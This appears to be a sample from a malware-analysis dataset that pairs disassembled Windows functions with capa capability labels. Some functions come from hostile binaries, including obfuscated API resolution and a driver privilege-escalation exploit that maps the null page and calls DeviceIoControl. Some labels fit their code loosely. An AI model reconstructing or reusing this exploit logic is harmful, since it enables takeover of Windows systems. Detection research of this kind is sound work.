joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a0a0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42807c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00415021
and dword [ebp - 0x14], 0
cmp dword [0x42ab78], 0
mov dword [ebp - 0x18], eax
jne 0x41a153
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41a1fb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41a1fb
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42ab78], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42ab7c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42ab80], eax
call edi
push eax
call esi
mov dword [0x42ab88], eax
test eax, eax
je 0x41a153
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42ab84], eax
mov eax, dword [0x42ab84]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41a1ac
cmp dword [0x42ab88], ecx
je 0x41a1ac
push eax
call esi
push dword [0x42ab88]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41a1ac
test ebx, ebx
je 0x41a1ac
call edi
test eax, eax
je 0x41a1a3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41a1a3
test byte [ebp - 8], 1
jne 0x41a1ac
or dword [ebp + 0x10], 0x200000
jmp 0x41a1df
mov eax, dword [0x42ab7c]
cmp eax, dword [ebp - 0x18]
je 0x41a1df
push eax
call esi
test eax, eax
je 0x41a1df
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41a1df
mov eax, dword [0x42ab80]
cmp eax, dword [ebp - 0x18]
je 0x41a1df
push eax
call esi
test eax, eax
je 0x41a1df
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42ab78]
call esi
test eax, eax
je 0x41a1fb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41a1fd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ed5d
leave
ret
Function at 0x403365
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
loop 0x4033f4
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00402f59
push eax
push esi
invalid
invalid

Function at 0x40372a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x40379c
push dword [ebp + 0x14]
push 1
push esi
call edi
invalid
mov ch, 0xfc
invalid
invalid

Function at 0x4037bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [esi - 0x3a]
test dword [edx + 0x6dfffffc], edi

Function at 0x403e3a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
invalid
invalid

Function at 0x40c670
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
cmp dword [ebp + 0x10], 0
jb 0x40c68b
cmp dword [ebp + 0x10], 0
jbe 0x40c692
cmp dword [ebp + 0x14], 0
jne 0x40c692
xor eax, eax
jmp 0x40c768
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x27c], 0
jne 0x40c6a5
xor eax, eax
jmp 0x40c768
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x27c]
mov dword [ebp - 8], edx
push 0x10
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00402030
add esp, 0xc
mov dword [ebp - 0x18], 0xff010310
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
add ecx, 0x10
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.00401c10
add esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40c702
xor eax, eax
jmp 0x40c768
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401ca0
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x10
push edx
call fcn.00401ca0
add esp, 0xc
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x40c765
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401c7f
add esp, 4
mov eax, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40c770
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x27c], 0
je 0x40c79d
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + 0x284], 0
je 0x40c79d
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0x288], 0
ja 0x40c7a1
xor eax, eax
jmp 0x40c81f
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x27c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x284]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0x288]
mov dword [ebp - 0xc], edx
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.00402030
add esp, 0xc
mov dword [ebp - 0x1c], 0xff010310
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40c81a
xor eax, eax
jmp 0x40c81f
mov eax, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x40c990
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40dc60
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
jne 0x40dc73
xor eax, eax
jmp 0x40dd41
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40dc93
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
xor eax, eax
jmp 0x40dd41
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp - 8]
jne 0x40dca2
xor eax, eax
jmp 0x40dd41
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 4]
jne 0x40dcd7
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp - 8]
jmp 0x40dd41
cmp dword [ebp - 4], 0
je 0x40dd3e
push 1
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
jne 0x40dd24
push 0x13
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x13
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebp - 8]
jmp 0x40dd41
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x410080
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
cmp dword [eax + 0x280], 0
jne 0x41009c
xor eax, eax
jmp 0x410259
mov dword [ebp - 4], 1
mov dword [ebp - 0x1c], 0x9c4000
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401c10
add esp, 4
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jne 0x4100d6
mov eax, 0xe
jmp 0x410259
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0x1388
mov dword [ebp - 0x24], 5
cmp dword [ebp - 8], 0
je 0x4101fe
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00402030
add esp, 0xc
mov dword [ebp - 0x28], 0x1388
mov dword [ebp - 0x24], 5
mov edx, 1
test edx, edx
je 0x4101e2
mov eax, dword [ebp - 0x34]
cmp dword [eax + 0x280], 0
jne 0x41014f
jmp 0x4101e2
push 0
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 0x280]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4101db
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xe8
jne 0x4101c7
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x28]
sub eax, 0x32
mov dword [ebp - 0x28], eax
jne 0x4101c5
cmp dword [ebp - 0x24], 0
je 0x4101c3
push 0x12d
mov ecx, dword [ebp - 0x34]
call fcn.0040c770
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0x1388
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x4101c5
jmp 0x4101e2
jmp 0x4101d9
cmp dword [ebp - 0x20], 0x6d
jne 0x4101d1
jmp 0x4101e2
cmp dword [ebp - 0x20], 0x6d
je 0x4101d9
jmp 0x4101e2
jmp 0x4101dd
jmp 0x4101e2
jmp 0x410131
cmp dword [ebp - 0x10], 0
jne 0x4101ea
jmp 0x4101fe
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 0x34]
call fcn.0040fe30
mov dword [ebp - 8], eax
jmp 0x410100
cmp dword [ebp - 0xc], 0
je 0x41021d
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00401c7f
add esp, 4
mov dword [ebp - 0xc], 0
cmp dword [ebp - 8], 0
je 0x41022a
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x34]
mov dword [edx + 0x28c], 0
mov eax, dword [ebp - 0x34]
cmp dword [eax + 4], 0
je 0x410256
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x410b00
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x1388
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x410b6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x217
jne 0x410b42
jmp 0x410b77
cmp dword [ebp - 4], 0x218
je 0x410b50
mov eax, dword [ebp - 4]
jmp 0x410b79
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
sub ecx, 0x32
mov dword [ebp - 8], ecx
jne 0x410b6a
mov eax, 0x102
jmp 0x410b79
jmp 0x410b6e
jmp 0x410b77
cmp dword [ebp - 4], 0x218
je 0x410b17
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x410bd0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x41a064]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x248], ecx
cmp dword [ebp + 8], 0
je 0x410bf9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x410c00
xor eax, eax
jmp 0x410d79
mov edx, dword [ebp + 8]
push edx
push 0x104
lea eax, [ebp - 0x230]
push eax
call fcn.004020aa
add esp, 0xc
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x238], 7
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x18], 0x208
mov dword [ebp - 0x14], 0x208
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
push 1
push str.S:_ML__NW___LW_
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x410cfe
mov dword [ebp - 0x23c], 0xc
mov eax, dword [ebp - 0x23c]
push eax
call fcn.00401c10
add esp, 4
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x410ccf
mov ecx, dword [ebp - 0x23c]
push ecx
push 0
mov edx, dword [ebp - 0x240]
push edx
call fcn.00402030
add esp, 0xc
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x24c], eax
jmp 0x410cd9
mov dword [ebp - 0x24c], 0
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [edx], 0xc
mov eax, dword [ebp - 0x24]
mov dword [eax + 8], 1
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 8], 0
je 0x410d47
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 8], 0
cmp dword [ebp - 0x24], 0
je 0x410d6c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x244]
push ecx
call fcn.00402116
add esp, 4
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x10], 0xffffffff
jne 0x410d76
xor eax, eax
jmp 0x410d79
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.00401c84
mov esp, ebp
pop ebp
ret 4
Function at 0x4112d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
cmp dword [ebp + 8], 0
je 0x4112eb
cmp dword [ebp + 0xc], 0
je 0x4112eb
cmp dword [ebp + 0x10], 0
jne 0x4112f5
mov eax, 0x57
jmp 0x411408
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0x1388
mov dword [ebp - 0x1c], 5
cmp dword [ebp - 4], 0
je 0x411406
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402030
add esp, 0xc
mov dword [ebp - 0x20], 0x1388
mov dword [ebp - 0x1c], 5
mov eax, 1
test eax, eax
je 0x4113f2
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4113eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xe8
jne 0x4113d1
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x20]
sub edx, 0x32
mov dword [ebp - 0x20], edx
jne 0x4113cf
cmp dword [ebp - 0x1c], 0
je 0x4113c8
mov dword [ebp - 0x20], 0x1388
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x4113cf
mov eax, 0x102
jmp 0x411408
jmp 0x4113e9
cmp dword [ebp - 0x18], 0x6d
jne 0x4113de
mov eax, dword [ebp - 0x18]
jmp 0x411408
cmp dword [ebp - 0x18], 0x6d
je 0x4113e9
mov eax, dword [ebp - 0x18]
jmp 0x411408
jmp 0x4113ed
jmp 0x4113f2
jmp 0x41135d
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 0x24]
call fcn.00411230
mov dword [ebp - 4], eax
jmp 0x41132c
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x411510
Capabilities:
Check mutex on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x864
mov eax, dword [0x41a064]
xor eax, ebp
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 4
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 4
mov byte [ebp - 0x849], 0
push str.SOFTWAREKyocera_MitaShared_Files
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
lea ecx, [ebp - 0xc]
push ecx
push 0x20019
push 0
lea edx, [ebp - 0x840]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4115b4
push str.PrintPreview
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 4]
push eax
push 0
lea ecx, [ebp - 0x428]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4115b4
mov byte [ebp - 0x849], 1
movzx eax, byte [ebp - 0x849]
test eax, eax
je 0x4115cc
cmp dword [ebp - 8], 1
jne 0x4115cc
xor eax, eax
jmp 0x411753
mov dword [ebp - 0x844], 0
mov dword [ebp - 0x14], 0
push 0x208
push 0
lea ecx, [ebp - 0x220]
push ecx
call fcn.00402030
add esp, 0xc
push str._KmPrintPreview_user_session
push 0x104
lea edx, [ebp - 0x220]
push edx
call fcn.004020aa
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 0xb7
jne 0x41163f
xor eax, eax
jmp 0x411753
push 0x22c
call fcn.00401c10
add esp, 4
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 0
je 0x41166e
mov ecx, dword [ebp - 0x854]
call fcn.00410690
mov dword [ebp - 0x860], eax
jmp 0x411678
mov dword [ebp - 0x860], 0
mov ecx, dword [ebp - 0x860]
mov dword [ebp - 0x850], ecx
mov edx, dword [ebp - 0x850]
mov dword [ebp - 0x42c], edx
cmp dword [ebp - 0x42c], 0
je 0x411741
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x42c]
call fcn.00410930
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 0
jne 0x4116df
mov ecx, dword [ebp - 0x42c]
call fcn.00410610
mov dword [ebp - 0x844], eax
mov eax, 0x1f
jmp 0x411753
mov ecx, dword [ebp - 0x42c]
call fcn.00410ab0
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x42c]
call fcn.00410610
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x85c], ecx
mov edx, dword [ebp - 0x85c]
mov dword [ebp - 0x858], edx
cmp dword [ebp - 0x858], 0
je 0x411737
push 1
mov ecx, dword [ebp - 0x858]
call fcn.00401b80
mov dword [ebp - 0x864], eax
jmp 0x411741
mov dword [ebp - 0x864], 0
cmp dword [ebp - 0x14], 0
je 0x411751
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00401c84
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41c167
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cld
mov dl, dl
lodsd eax, dword [esi]
mov cl, cl
nop
xchg esi, ebp
xchg esi, ebp
xchg ebx, ecx
xchg ebx, ecx
lea edi, [eax + ebx]
nop
cld
cmp ecx, dword [edx + 0x18]
je 0x41c15e
jmp 0x41be41
adc edx, edx
add edi, ebx
mov edx, edi
dec dh
mov dh, 0xd9
movzx eax, word [esi + ecx*2]
mov esi, dword [edi + eax*4]
add esi, ebx
ret 4
and ebx, 0xffffffff
cld
sub eax, eax
nop
xchg dl, bh
xchg dl, bh
push eax
sub ah, bh
add ah, bh
add bl, 0
not ebx
not ebx
shl eax, 4
xchg dword [esp], eax
wait
lea ecx, [ecx]
sub dword [esp], eax
jmp 0x41bf9f
mov esi, dword [edx + 0x20]
not edi
lea esi, [ebx + esi]
cld
not al
and edi, 0xfc4de42e
not eax
mov eax, eax
not eax
push 0xffffffffffffffff
cmc
and al, cl
mov ah, bh
xchg ah, al
lea eax, [eax - 0x7c]
pop ecx
nop
mov edi, ecx
mov edi, 0xe47d6832
sbb edi, 0x4cb6b14a
inc ecx
jmp 0x418047
not eax
xor al, cl
mov edi, dword [edx + 0x1c]
adc eax, esi
cld
cmp ah, bl
dec ah
mov esi, dword [edx + 0x24]
add esi, ebx
jmp 0x418069
xchg ebp, eax
xchg ebp, eax
jne 0x41be4c
xchg ch, dh
xchg ch, dh
xor eax, 0xca16f1fd
cmp eax, dword [esp + 4]
mov ah, ah
nop
jne 0x41be9b
jmp 0x41bec5
nop
movzx eax, byte [edi]
inc edx
dec edx
sub dword [esp], eax
dec bl
inc bl
inc edi
mov esp, esp
nop
wait
cld
cld
not ebp
not ebp
wait
nop
pop eax
cmp byte [edi], 0
jmp 0x41beea
ret
mov eax, dword [ebx + 0x3c]
nop
mov edx, dword [eax + ebx + 0x78]
lea edx, [edx + ebx]
jmp 0x41be69
Function at 0x4015c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
mov eax, 0x2540
call fcn.00401940
mov dword [ebp - 0x2540], ecx
call sym.___main
mov eax, dword [ebp - 0x2540]
cmp dword [eax], 2
jne 0x4017a7
mov edx, dword [ebp - 0x2540]
mov eax, dword [edx + 4]
add eax, 4
mov eax, dword [eax]
sub esp, 0xc
push eax
call sym._atoi
add esp, 0x10
mov dword [0x404010], eax
sub esp, 0xc
push str.ntdll.dll
call sub.KERNEL32.dll_LoadLibraryA
add esp, 0xc
mov dword [ebp - 0x18], eax
sub esp, 8
push str.NtAllocateVirtualMemory
push dword [ebp - 0x18]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x404008], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x20], 0x1000
mov ebx, dword [0x404008]
call sub.KERNEL32.dll_GetCurrentProcess
mov edx, eax
sub esp, 8
push 0x40
push 0x3000
lea eax, [ebp - 0x20]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push edx
call ebx
add esp, 8
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xe9
mov eax, dword [ebp - 0x14]
inc eax
mov edx, eax
mov eax, sym.elevatePrivileges__
sub eax, 5
mov dword [edx], eax
sub esp, 4
push 0
push 0
push 3
push 0
push 0
push 0
push str..Epfwndis
call sub.KERNEL32.dll_CreateFileA
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea edx, [ebp - 0x2530]
mov eax, 0x2300
sub esp, 4
push eax
push 0
push edx
call sym._memset
add esp, 0x10
push 0
lea eax, [ebp - 0x30]
push eax
push 0x2300
lea eax, [ebp - 0x2530]
push eax
push 8
lea eax, [ebp - 0x2c]
push eax
push 0x83002258
push dword [ebp - 0x10]
call sub.KERNEL32.dll_DeviceIoControl
mov eax, dword [ebp - 0x2530]
mov dword [0x40400c], eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0x2300
lea eax, [ebp - 0x2530]
push eax
push 8
lea eax, [ebp - 0x2c]
push eax
push 0x830020c4
push dword [ebp - 0x10]
call sub.KERNEL32.dll_DeviceIoControl
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x230]
mov eax, 0x200
sub esp, 4
push eax
push 0
push edx
call sym._memset
add esp, 0x10
mov word [ebp - 0x224], pe_nt_image_headers32
mov word [ebp - 0x21a], 1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0x2300
lea eax, [ebp - 0x2530]
push eax
push 8
lea eax, [ebp - 0x2c]
push eax
push 0x830020cc
push dword [ebp - 0x10]
call sub.KERNEL32.dll_DeviceIoControl
mov dword [ebp - 0x253c], 0
jmp 0x4017cd
mov edx, dword [ebp - 0x2540]
mov eax, dword [edx + 4]
mov eax, dword [eax]
sub esp, 8
push eax
push str.Usage:__s_PROCESS_PID__n
call sym._printf
add esp, 0x10
mov dword [ebp - 0x253c], 0xffffffff
mov eax, dword [ebp - 0x253c]
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
